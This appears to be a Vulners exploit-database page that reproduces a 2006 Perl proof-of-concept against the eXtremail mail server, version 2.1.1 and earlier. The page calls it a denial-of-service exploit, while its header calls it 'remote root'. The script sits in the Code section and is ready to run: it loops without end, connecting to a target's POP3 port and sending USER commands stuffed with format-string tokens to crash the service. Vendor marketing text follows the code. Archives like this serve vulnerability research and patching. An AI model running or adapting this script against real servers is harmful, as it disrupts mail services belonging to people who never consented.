Lucene search
K

eXtremail <= 2.1.1 memmove() Remote Denial of Service Exploit

🗓️ 01 Jul 2014 00:00:00Reported by RootType 
seebug
 seebug
🔗 www.seebug.org👁 22 Views

eXtremail <= 2.1.1 Remote DoS Exploit Using memmove(

Code

                                                #!/usr/bin/perl
#
# extremail-v3.pl
#
# Copyright (c) 2006 by &#60;[email protected]&#62;
#
# eXtremail &#60;=2.1.1 remote root POC (x86-lnx)
# by mu-b - Fri Oct 06 2006
#
# Tested on: eXtremail 2.1.1 (lnx)
#            eXtremail 2.1.0 (lnx)
#
#    - Private Source Code -DO NOT DISTRIBUTE -
# http://www.digit-labs.org/ -- Digit-Labs 2006!@$!
########

use Getopt::Std; getopts(&#39;t:n:u:p:&#39;, \%arg);
use Socket;

&print_header;

my $target;

if (defined($arg{&#39;t&#39;})) { $target = $arg{&#39;t&#39;} }
if (!(defined($target))) { &usage; }

my $pop3_port = 110;
my $send_delay = 1;

my $NOP = &#39;A&#39;;

srand(time());
while (1) {
    if (connect_host($target, $pop3_port)) {
        # [0,50) -&#62; [1,50]
        $max_len  = int(rand(50) + 1);

        # [0, $max_len * 0.75) -&#62; [0, ($max_len * 0x75) - 1]
        $pad1_len = int(rand($max_len * 0.75));

        # [0, ($max_len - $pad1_len)/2) -&#62; [1, ($max_len - $pad1_len)/2]
        $pad2_len = int(rand(($max_len - $pad1_len)/length(&#34;%s&#34;)) + 1);

        $pad3_len = $max_len - $pad1_len - ($pad2_len * length(&#34;%s&#34;));

        $buf = &#34;USER &#34;.
               ($NOP x $pad1_len).
               (&#34;%s&#34; x $pad2_len).
               ($NOP x $pad3_len).
               &#34;\n&#34;;
        print(&#34;-&#62; * Sending: $max_len $pad1_len $pad2_len $pad3_len &#34;.$buf);
        send(SOCKET, $buf, 0);
        sleep($send_delay);

        close(SOCKET);
    }
}

sub print_header {
    print(&#34;eXtremail &#60;=2.1.1 remote root POC (x86-lnx)\n&#34;);
    print(&#34;by: &#60;mu-b\@digit-labs.org&#62;\n&#34;);
    print(&#34;http://www.digit-labs.org/ -- Digit-Labs 2007!@$!\n\n&#34;);
}

sub usage {
  print(qq(Usage: $0 -t &#60;hostname&#62;

     -t &#60;hostname&#62;    : hostname to test
));

    exit(1);
}

sub connect_host {
    ($target, $port) = @_;
    $iaddr  = inet_aton($target)                 || die(&#34;Error: $!\n&#34;);
    $paddr  = sockaddr_in($port, $iaddr)         || die(&#34;Error: $!\n&#34;);
    $proto  = getprotobyname(&#39;tcp&#39;)              || die(&#34;Error: $!\n&#34;);

    socket(SOCKET, PF_INET, SOCK_STREAM, $proto) || die(&#34;Error: $!\n&#34;);
    connect(SOCKET, $paddr)                      || die(&#34;Error: $!\n&#34;);
    return(1338);
}

# milw0rm.com [2007-10-15]

                              

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

01 Jul 2014 00:00Current
7.1High risk
Vulners AI Score7.1
22